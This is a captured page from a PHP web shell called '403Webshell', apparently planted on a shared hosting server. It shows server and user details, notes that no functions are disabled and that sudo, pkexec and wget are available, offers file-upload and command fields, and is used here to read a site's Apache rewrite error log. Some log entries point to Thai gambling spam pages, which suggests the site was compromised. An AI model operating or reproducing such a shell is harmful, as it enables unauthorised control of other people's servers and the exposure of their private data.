403Webshell
Server IP : 103.4.122.14  /  Your IP : 216.73.216.103
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.0.2k-fips
System : Linux cwp2.slnet.com.au 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : statewid ( 1251)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/apache/domlogs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /usr/local/apache/domlogs/vetstars.com.au.error.log
[Mon Nov 10 18:36:49.952404 2025] [rewrite:trace3] [pid 8261:tid 8287] mod_rewrite.c(505): [client 20.57.20.12:42724] 20.57.20.12 - - [www.vetstars.com.au/sid#3619cc0][rid#7f478803e260/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/ -> 
[Mon Nov 10 18:36:49.952459 2025] [rewrite:trace3] [pid 8261:tid 8287] mod_rewrite.c(505): [client 20.57.20.12:42724] 20.57.20.12 - - [www.vetstars.com.au/sid#3619cc0][rid#7f478803e260/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp-admin/install\\.php$' to uri ''
[Mon Nov 10 18:36:49.952482 2025] [rewrite:trace3] [pid 8261:tid 8287] mod_rewrite.c(505): [client 20.57.20.12:42724] 20.57.20.12 - - [www.vetstars.com.au/sid#3619cc0][rid#7f478803e260/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/ -> 
[Mon Nov 10 18:36:49.952499 2025] [rewrite:trace3] [pid 8261:tid 8287] mod_rewrite.c(505): [client 20.57.20.12:42724] 20.57.20.12 - - [www.vetstars.com.au/sid#3619cc0][rid#7f478803e260/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp-admin/includes/' to uri ''
[Mon Nov 10 18:36:49.952515 2025] [rewrite:trace3] [pid 8261:tid 8287] mod_rewrite.c(505): [client 20.57.20.12:42724] 20.57.20.12 - - [www.vetstars.com.au/sid#3619cc0][rid#7f478803e260/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/ -> 
[Mon Nov 10 18:36:49.952526 2025] [rewrite:trace3] [pid 8261:tid 8287] mod_rewrite.c(505): [client 20.57.20.12:42724] 20.57.20.12 - - [www.vetstars.com.au/sid#3619cc0][rid#7f478803e260/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp-includes/' to uri ''
[Mon Nov 10 18:36:49.952537 2025] [rewrite:trace3] [pid 8261:tid 8287] mod_rewrite.c(505): [client 20.57.20.12:42724] 20.57.20.12 - - [www.vetstars.com.au/sid#3619cc0][rid#7f478803e260/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/ -> 
[Mon Nov 10 18:36:49.952546 2025] [rewrite:trace3] [pid 8261:tid 8287] mod_rewrite.c(505): [client 20.57.20.12:42724] 20.57.20.12 - - [www.vetstars.com.au/sid#3619cc0][rid#7f478803e260/initial] [perdir /home/vetstars/public_html/] applying pattern '(^|.*/)\\.(git|svn)/.*' to uri ''
[Mon Nov 10 18:36:49.952555 2025] [rewrite:trace3] [pid 8261:tid 8287] mod_rewrite.c(505): [client 20.57.20.12:42724] 20.57.20.12 - - [www.vetstars.com.au/sid#3619cc0][rid#7f478803e260/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/ -> 
[Mon Nov 10 18:36:49.952563 2025] [rewrite:trace3] [pid 8261:tid 8287] mod_rewrite.c(505): [client 20.57.20.12:42724] 20.57.20.12 - - [www.vetstars.com.au/sid#3619cc0][rid#7f478803e260/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp\\-content/uploads/.*\\.(?:php[1-7]?|pht|phtml?|phps)\\.?$' to uri ''
[Mon Nov 10 18:36:49.952573 2025] [rewrite:trace3] [pid 8261:tid 8287] mod_rewrite.c(505): [client 20.57.20.12:42724] 20.57.20.12 - - [www.vetstars.com.au/sid#3619cc0][rid#7f478803e260/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/ -> 
[Mon Nov 10 18:36:49.952586 2025] [rewrite:trace3] [pid 8261:tid 8287] mod_rewrite.c(505): [client 20.57.20.12:42724] 20.57.20.12 - - [www.vetstars.com.au/sid#3619cc0][rid#7f478803e260/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp\\-content/plugins/.*\\.(?:php[1-7]?|pht|phtml?|phps)\\.?$' to uri ''
[Mon Nov 10 18:36:49.952603 2025] [rewrite:trace3] [pid 8261:tid 8287] mod_rewrite.c(505): [client 20.57.20.12:42724] 20.57.20.12 - - [www.vetstars.com.au/sid#3619cc0][rid#7f478803e260/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/ -> 
[Mon Nov 10 18:36:49.952615 2025] [rewrite:trace3] [pid 8261:tid 8287] mod_rewrite.c(505): [client 20.57.20.12:42724] 20.57.20.12 - - [www.vetstars.com.au/sid#3619cc0][rid#7f478803e260/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp\\-content/themes/.*\\.(?:php[1-7]?|pht|phtml?|phps)\\.?$' to uri ''
[Mon Nov 10 18:36:49.952632 2025] [rewrite:trace3] [pid 8261:tid 8287] mod_rewrite.c(505): [client 20.57.20.12:42724] 20.57.20.12 - - [www.vetstars.com.au/sid#3619cc0][rid#7f478803e260/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/ -> 
[Mon Nov 10 18:36:49.952662 2025] [rewrite:trace3] [pid 8261:tid 8287] mod_rewrite.c(505): [client 20.57.20.12:42724] 20.57.20.12 - - [www.vetstars.com.au/sid#3619cc0][rid#7f478803e260/initial] [perdir /home/vetstars/public_html/] applying pattern '.*' to uri ''
[Mon Nov 10 18:36:49.952687 2025] [rewrite:trace5] [pid 8261:tid 8287] mod_rewrite.c(505): [client 20.57.20.12:42724] 20.57.20.12 - - [www.vetstars.com.au/sid#3619cc0][rid#7f478803e260/initial] setting env variable 'HTTP_AUTHORIZATION' to ''
[Mon Nov 10 18:36:49.952706 2025] [rewrite:trace3] [pid 8261:tid 8287] mod_rewrite.c(505): [client 20.57.20.12:42724] 20.57.20.12 - - [www.vetstars.com.au/sid#3619cc0][rid#7f478803e260/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/ -> 
[Mon Nov 10 18:36:49.952723 2025] [rewrite:trace3] [pid 8261:tid 8287] mod_rewrite.c(505): [client 20.57.20.12:42724] 20.57.20.12 - - [www.vetstars.com.au/sid#3619cc0][rid#7f478803e260/initial] [perdir /home/vetstars/public_html/] applying pattern '^index\\.php$' to uri ''
[Mon Nov 10 18:36:49.952740 2025] [rewrite:trace3] [pid 8261:tid 8287] mod_rewrite.c(505): [client 20.57.20.12:42724] 20.57.20.12 - - [www.vetstars.com.au/sid#3619cc0][rid#7f478803e260/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/ -> 
[Mon Nov 10 18:36:49.952755 2025] [rewrite:trace3] [pid 8261:tid 8287] mod_rewrite.c(505): [client 20.57.20.12:42724] 20.57.20.12 - - [www.vetstars.com.au/sid#3619cc0][rid#7f478803e260/initial] [perdir /home/vetstars/public_html/] applying pattern '.' to uri ''
[Mon Nov 10 18:36:49.952773 2025] [rewrite:trace1] [pid 8261:tid 8287] mod_rewrite.c(505): [client 20.57.20.12:42724] 20.57.20.12 - - [www.vetstars.com.au/sid#3619cc0][rid#7f478803e260/initial] [perdir /home/vetstars/public_html/] pass through /home/vetstars/public_html/
[Mon Nov 10 18:36:49.952878 2025] [rewrite:trace3] [pid 8261:tid 8287] mod_rewrite.c(505): [client 20.57.20.12:42724] 20.57.20.12 - - [www.vetstars.com.au/sid#3619cc0][rid#7f478c0d38a0/subreq] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/index.php -> index.php
[Mon Nov 10 18:36:49.952900 2025] [rewrite:trace3] [pid 8261:tid 8287] mod_rewrite.c(505): [client 20.57.20.12:42724] 20.57.20.12 - - [www.vetstars.com.au/sid#3619cc0][rid#7f478c0d38a0/subreq] [perdir /home/vetstars/public_html/] applying pattern '^wp-admin/install\\.php$' to uri 'index.php'
[Mon Nov 10 18:36:49.952917 2025] [rewrite:trace3] [pid 8261:tid 8287] mod_rewrite.c(505): [client 20.57.20.12:42724] 20.57.20.12 - - [www.vetstars.com.au/sid#3619cc0][rid#7f478c0d38a0/subreq] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/index.php -> index.php
[Mon Nov 10 18:36:49.952932 2025] [rewrite:trace3] [pid 8261:tid 8287] mod_rewrite.c(505): [client 20.57.20.12:42724] 20.57.20.12 - - [www.vetstars.com.au/sid#3619cc0][rid#7f478c0d38a0/subreq] [perdir /home/vetstars/public_html/] applying pattern '^wp-admin/includes/' to uri 'index.php'
[Mon Nov 10 18:36:49.952950 2025] [rewrite:trace3] [pid 8261:tid 8287] mod_rewrite.c(505): [client 20.57.20.12:42724] 20.57.20.12 - - [www.vetstars.com.au/sid#3619cc0][rid#7f478c0d38a0/subreq] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/index.php -> index.php
[Mon Nov 10 18:36:49.952960 2025] [rewrite:trace3] [pid 8261:tid 8287] mod_rewrite.c(505): [client 20.57.20.12:42724] 20.57.20.12 - - [www.vetstars.com.au/sid#3619cc0][rid#7f478c0d38a0/subreq] [perdir /home/vetstars/public_html/] applying pattern '^wp-includes/' to uri 'index.php'
[Mon Nov 10 18:36:49.952970 2025] [rewrite:trace3] [pid 8261:tid 8287] mod_rewrite.c(505): [client 20.57.20.12:42724] 20.57.20.12 - - [www.vetstars.com.au/sid#3619cc0][rid#7f478c0d38a0/subreq] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/index.php -> index.php
[Mon Nov 10 18:36:49.952993 2025] [rewrite:trace3] [pid 8261:tid 8287] mod_rewrite.c(505): [client 20.57.20.12:42724] 20.57.20.12 - - [www.vetstars.com.au/sid#3619cc0][rid#7f478c0d38a0/subreq] [perdir /home/vetstars/public_html/] applying pattern '(^|.*/)\\.(git|svn)/.*' to uri 'index.php'
[Mon Nov 10 18:36:49.953003 2025] [rewrite:trace3] [pid 8261:tid 8287] mod_rewrite.c(505): [client 20.57.20.12:42724] 20.57.20.12 - - [www.vetstars.com.au/sid#3619cc0][rid#7f478c0d38a0/subreq] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/index.php -> index.php
[Mon Nov 10 18:36:49.953012 2025] [rewrite:trace3] [pid 8261:tid 8287] mod_rewrite.c(505): [client 20.57.20.12:42724] 20.57.20.12 - - [www.vetstars.com.au/sid#3619cc0][rid#7f478c0d38a0/subreq] [perdir /home/vetstars/public_html/] applying pattern '^wp\\-content/uploads/.*\\.(?:php[1-7]?|pht|phtml?|phps)\\.?$' to uri 'index.php'
[Mon Nov 10 18:36:49.953021 2025] [rewrite:trace3] [pid 8261:tid 8287] mod_rewrite.c(505): [client 20.57.20.12:42724] 20.57.20.12 - - [www.vetstars.com.au/sid#3619cc0][rid#7f478c0d38a0/subreq] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/index.php -> index.php
[Mon Nov 10 18:36:49.953030 2025] [rewrite:trace3] [pid 8261:tid 8287] mod_rewrite.c(505): [client 20.57.20.12:42724] 20.57.20.12 - - [www.vetstars.com.au/sid#3619cc0][rid#7f478c0d38a0/subreq] [perdir /home/vetstars/public_html/] applying pattern '^wp\\-content/plugins/.*\\.(?:php[1-7]?|pht|phtml?|phps)\\.?$' to uri 'index.php'
[Mon Nov 10 18:36:49.953043 2025] [rewrite:trace3] [pid 8261:tid 8287] mod_rewrite.c(505): [client 20.57.20.12:42724] 20.57.20.12 - - [www.vetstars.com.au/sid#3619cc0][rid#7f478c0d38a0/subreq] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/index.php -> index.php
[Mon Nov 10 18:36:49.953067 2025] [rewrite:trace3] [pid 8261:tid 8287] mod_rewrite.c(505): [client 20.57.20.12:42724] 20.57.20.12 - - [www.vetstars.com.au/sid#3619cc0][rid#7f478c0d38a0/subreq] [perdir /home/vetstars/public_html/] applying pattern '^wp\\-content/themes/.*\\.(?:php[1-7]?|pht|phtml?|phps)\\.?$' to uri 'index.php'
[Mon Nov 10 18:36:49.953076 2025] [rewrite:trace3] [pid 8261:tid 8287] mod_rewrite.c(505): [client 20.57.20.12:42724] 20.57.20.12 - - [www.vetstars.com.au/sid#3619cc0][rid#7f478c0d38a0/subreq] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/index.php -> index.php
[Mon Nov 10 18:36:49.953091 2025] [rewrite:trace3] [pid 8261:tid 8287] mod_rewrite.c(505): [client 20.57.20.12:42724] 20.57.20.12 - - [www.vetstars.com.au/sid#3619cc0][rid#7f478c0d38a0/subreq] [perdir /home/vetstars/public_html/] applying pattern '.*' to uri 'index.php'
[Mon Nov 10 18:36:49.953112 2025] [rewrite:trace5] [pid 8261:tid 8287] mod_rewrite.c(505): [client 20.57.20.12:42724] 20.57.20.12 - - [www.vetstars.com.au/sid#3619cc0][rid#7f478c0d38a0/subreq] setting env variable 'HTTP_AUTHORIZATION' to ''
[Mon Nov 10 18:36:49.953129 2025] [rewrite:trace3] [pid 8261:tid 8287] mod_rewrite.c(505): [client 20.57.20.12:42724] 20.57.20.12 - - [www.vetstars.com.au/sid#3619cc0][rid#7f478c0d38a0/subreq] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/index.php -> index.php
[Mon Nov 10 18:36:49.953145 2025] [rewrite:trace3] [pid 8261:tid 8287] mod_rewrite.c(505): [client 20.57.20.12:42724] 20.57.20.12 - - [www.vetstars.com.au/sid#3619cc0][rid#7f478c0d38a0/subreq] [perdir /home/vetstars/public_html/] applying pattern '^index\\.php$' to uri 'index.php'
[Mon Nov 10 18:36:49.953165 2025] [rewrite:trace1] [pid 8261:tid 8287] mod_rewrite.c(505): [client 20.57.20.12:42724] 20.57.20.12 - - [www.vetstars.com.au/sid#3619cc0][rid#7f478c0d38a0/subreq] [perdir /home/vetstars/public_html/] pass through /home/vetstars/public_html/index.php
[Mon Nov 10 18:36:53.141262 2025] [rewrite:trace3] [pid 8162:tid 8174] mod_rewrite.c(505): [client 103.4.122.14:53686] 103.4.122.14 - - [vetstars.com.au/sid#3619cc0][rid#7f4774049790/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/wp-cron.php -> wp-cron.php
[Mon Nov 10 18:36:53.141392 2025] [rewrite:trace3] [pid 8162:tid 8174] mod_rewrite.c(505): [client 103.4.122.14:53686] 103.4.122.14 - - [vetstars.com.au/sid#3619cc0][rid#7f4774049790/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp-admin/install\\.php$' to uri 'wp-cron.php'
[Mon Nov 10 18:36:53.141412 2025] [rewrite:trace3] [pid 8162:tid 8174] mod_rewrite.c(505): [client 103.4.122.14:53686] 103.4.122.14 - - [vetstars.com.au/sid#3619cc0][rid#7f4774049790/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/wp-cron.php -> wp-cron.php
[Mon Nov 10 18:36:53.141422 2025] [rewrite:trace3] [pid 8162:tid 8174] mod_rewrite.c(505): [client 103.4.122.14:53686] 103.4.122.14 - - [vetstars.com.au/sid#3619cc0][rid#7f4774049790/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp-admin/includes/' to uri 'wp-cron.php'
[Mon Nov 10 18:36:53.141431 2025] [rewrite:trace3] [pid 8162:tid 8174] mod_rewrite.c(505): [client 103.4.122.14:53686] 103.4.122.14 - - [vetstars.com.au/sid#3619cc0][rid#7f4774049790/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/wp-cron.php -> wp-cron.php
[Mon Nov 10 18:36:53.141439 2025] [rewrite:trace3] [pid 8162:tid 8174] mod_rewrite.c(505): [client 103.4.122.14:53686] 103.4.122.14 - - [vetstars.com.au/sid#3619cc0][rid#7f4774049790/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp-includes/' to uri 'wp-cron.php'
[Mon Nov 10 18:36:53.141450 2025] [rewrite:trace3] [pid 8162:tid 8174] mod_rewrite.c(505): [client 103.4.122.14:53686] 103.4.122.14 - - [vetstars.com.au/sid#3619cc0][rid#7f4774049790/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/wp-cron.php -> wp-cron.php
[Mon Nov 10 18:36:53.141459 2025] [rewrite:trace3] [pid 8162:tid 8174] mod_rewrite.c(505): [client 103.4.122.14:53686] 103.4.122.14 - - [vetstars.com.au/sid#3619cc0][rid#7f4774049790/initial] [perdir /home/vetstars/public_html/] applying pattern '(^|.*/)\\.(git|svn)/.*' to uri 'wp-cron.php'
[Mon Nov 10 18:36:53.141468 2025] [rewrite:trace3] [pid 8162:tid 8174] mod_rewrite.c(505): [client 103.4.122.14:53686] 103.4.122.14 - - [vetstars.com.au/sid#3619cc0][rid#7f4774049790/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/wp-cron.php -> wp-cron.php
[Mon Nov 10 18:36:53.141477 2025] [rewrite:trace3] [pid 8162:tid 8174] mod_rewrite.c(505): [client 103.4.122.14:53686] 103.4.122.14 - - [vetstars.com.au/sid#3619cc0][rid#7f4774049790/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp\\-content/uploads/.*\\.(?:php[1-7]?|pht|phtml?|phps)\\.?$' to uri 'wp-cron.php'
[Mon Nov 10 18:36:53.141487 2025] [rewrite:trace3] [pid 8162:tid 8174] mod_rewrite.c(505): [client 103.4.122.14:53686] 103.4.122.14 - - [vetstars.com.au/sid#3619cc0][rid#7f4774049790/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/wp-cron.php -> wp-cron.php
[Mon Nov 10 18:36:53.141495 2025] [rewrite:trace3] [pid 8162:tid 8174] mod_rewrite.c(505): [client 103.4.122.14:53686] 103.4.122.14 - - [vetstars.com.au/sid#3619cc0][rid#7f4774049790/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp\\-content/plugins/.*\\.(?:php[1-7]?|pht|phtml?|phps)\\.?$' to uri 'wp-cron.php'
[Mon Nov 10 18:36:53.141504 2025] [rewrite:trace3] [pid 8162:tid 8174] mod_rewrite.c(505): [client 103.4.122.14:53686] 103.4.122.14 - - [vetstars.com.au/sid#3619cc0][rid#7f4774049790/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/wp-cron.php -> wp-cron.php
[Mon Nov 10 18:36:53.141514 2025] [rewrite:trace3] [pid 8162:tid 8174] mod_rewrite.c(505): [client 103.4.122.14:53686] 103.4.122.14 - - [vetstars.com.au/sid#3619cc0][rid#7f4774049790/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp\\-content/themes/.*\\.(?:php[1-7]?|pht|phtml?|phps)\\.?$' to uri 'wp-cron.php'
[Mon Nov 10 18:36:53.141529 2025] [rewrite:trace3] [pid 8162:tid 8174] mod_rewrite.c(505): [client 103.4.122.14:53686] 103.4.122.14 - - [vetstars.com.au/sid#3619cc0][rid#7f4774049790/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/wp-cron.php -> wp-cron.php
[Mon Nov 10 18:36:53.141539 2025] [rewrite:trace3] [pid 8162:tid 8174] mod_rewrite.c(505): [client 103.4.122.14:53686] 103.4.122.14 - - [vetstars.com.au/sid#3619cc0][rid#7f4774049790/initial] [perdir /home/vetstars/public_html/] applying pattern '.*' to uri 'wp-cron.php'
[Mon Nov 10 18:36:53.141554 2025] [rewrite:trace5] [pid 8162:tid 8174] mod_rewrite.c(505): [client 103.4.122.14:53686] 103.4.122.14 - - [vetstars.com.au/sid#3619cc0][rid#7f4774049790/initial] setting env variable 'HTTP_AUTHORIZATION' to ''
[Mon Nov 10 18:36:53.141563 2025] [rewrite:trace3] [pid 8162:tid 8174] mod_rewrite.c(505): [client 103.4.122.14:53686] 103.4.122.14 - - [vetstars.com.au/sid#3619cc0][rid#7f4774049790/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/wp-cron.php -> wp-cron.php
[Mon Nov 10 18:36:53.141572 2025] [rewrite:trace3] [pid 8162:tid 8174] mod_rewrite.c(505): [client 103.4.122.14:53686] 103.4.122.14 - - [vetstars.com.au/sid#3619cc0][rid#7f4774049790/initial] [perdir /home/vetstars/public_html/] applying pattern '^index\\.php$' to uri 'wp-cron.php'
[Mon Nov 10 18:36:53.141581 2025] [rewrite:trace3] [pid 8162:tid 8174] mod_rewrite.c(505): [client 103.4.122.14:53686] 103.4.122.14 - - [vetstars.com.au/sid#3619cc0][rid#7f4774049790/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/wp-cron.php -> wp-cron.php
[Mon Nov 10 18:36:53.141590 2025] [rewrite:trace3] [pid 8162:tid 8174] mod_rewrite.c(505): [client 103.4.122.14:53686] 103.4.122.14 - - [vetstars.com.au/sid#3619cc0][rid#7f4774049790/initial] [perdir /home/vetstars/public_html/] applying pattern '.' to uri 'wp-cron.php'
[Mon Nov 10 18:36:53.141616 2025] [rewrite:trace4] [pid 8162:tid 8174] mod_rewrite.c(505): [client 103.4.122.14:53686] 103.4.122.14 - - [vetstars.com.au/sid#3619cc0][rid#7f4774049790/initial] [perdir /home/vetstars/public_html/] RewriteCond: input='/home/vetstars/public_html/wp-cron.php' pattern='!-f' => not-matched
[Mon Nov 10 18:36:53.141626 2025] [rewrite:trace1] [pid 8162:tid 8174] mod_rewrite.c(505): [client 103.4.122.14:53686] 103.4.122.14 - - [vetstars.com.au/sid#3619cc0][rid#7f4774049790/initial] [perdir /home/vetstars/public_html/] pass through /home/vetstars/public_html/wp-cron.php
[Mon Nov 10 18:37:54.189695 2025] [rewrite:trace3] [pid 8732:tid 8740] mod_rewrite.c(505): [client 114.119.150.38:46883] 114.119.150.38 - - [vetstars.com.au/sid#2b95cc0][rid#7f7510030af0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/pgzeed gold.aspx -> pgzeed gold.aspx, referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx
[Mon Nov 10 18:37:54.189764 2025] [rewrite:trace3] [pid 8732:tid 8740] mod_rewrite.c(505): [client 114.119.150.38:46883] 114.119.150.38 - - [vetstars.com.au/sid#2b95cc0][rid#7f7510030af0/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp-admin/install\\.php$' to uri 'pgzeed gold.aspx', referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx
[Mon Nov 10 18:37:54.189779 2025] [rewrite:trace3] [pid 8732:tid 8740] mod_rewrite.c(505): [client 114.119.150.38:46883] 114.119.150.38 - - [vetstars.com.au/sid#2b95cc0][rid#7f7510030af0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/pgzeed gold.aspx -> pgzeed gold.aspx, referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx
[Mon Nov 10 18:37:54.189810 2025] [rewrite:trace3] [pid 8732:tid 8740] mod_rewrite.c(505): [client 114.119.150.38:46883] 114.119.150.38 - - [vetstars.com.au/sid#2b95cc0][rid#7f7510030af0/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp-admin/includes/' to uri 'pgzeed gold.aspx', referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx
[Mon Nov 10 18:37:54.189822 2025] [rewrite:trace3] [pid 8732:tid 8740] mod_rewrite.c(505): [client 114.119.150.38:46883] 114.119.150.38 - - [vetstars.com.au/sid#2b95cc0][rid#7f7510030af0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/pgzeed gold.aspx -> pgzeed gold.aspx, referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx
[Mon Nov 10 18:37:54.189832 2025] [rewrite:trace3] [pid 8732:tid 8740] mod_rewrite.c(505): [client 114.119.150.38:46883] 114.119.150.38 - - [vetstars.com.au/sid#2b95cc0][rid#7f7510030af0/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp-includes/' to uri 'pgzeed gold.aspx', referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx
[Mon Nov 10 18:37:54.189844 2025] [rewrite:trace3] [pid 8732:tid 8740] mod_rewrite.c(505): [client 114.119.150.38:46883] 114.119.150.38 - - [vetstars.com.au/sid#2b95cc0][rid#7f7510030af0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/pgzeed gold.aspx -> pgzeed gold.aspx, referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx
[Mon Nov 10 18:37:54.189853 2025] [rewrite:trace3] [pid 8732:tid 8740] mod_rewrite.c(505): [client 114.119.150.38:46883] 114.119.150.38 - - [vetstars.com.au/sid#2b95cc0][rid#7f7510030af0/initial] [perdir /home/vetstars/public_html/] applying pattern '(^|.*/)\\.(git|svn)/.*' to uri 'pgzeed gold.aspx', referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx
[Mon Nov 10 18:37:54.189863 2025] [rewrite:trace3] [pid 8732:tid 8740] mod_rewrite.c(505): [client 114.119.150.38:46883] 114.119.150.38 - - [vetstars.com.au/sid#2b95cc0][rid#7f7510030af0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/pgzeed gold.aspx -> pgzeed gold.aspx, referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx
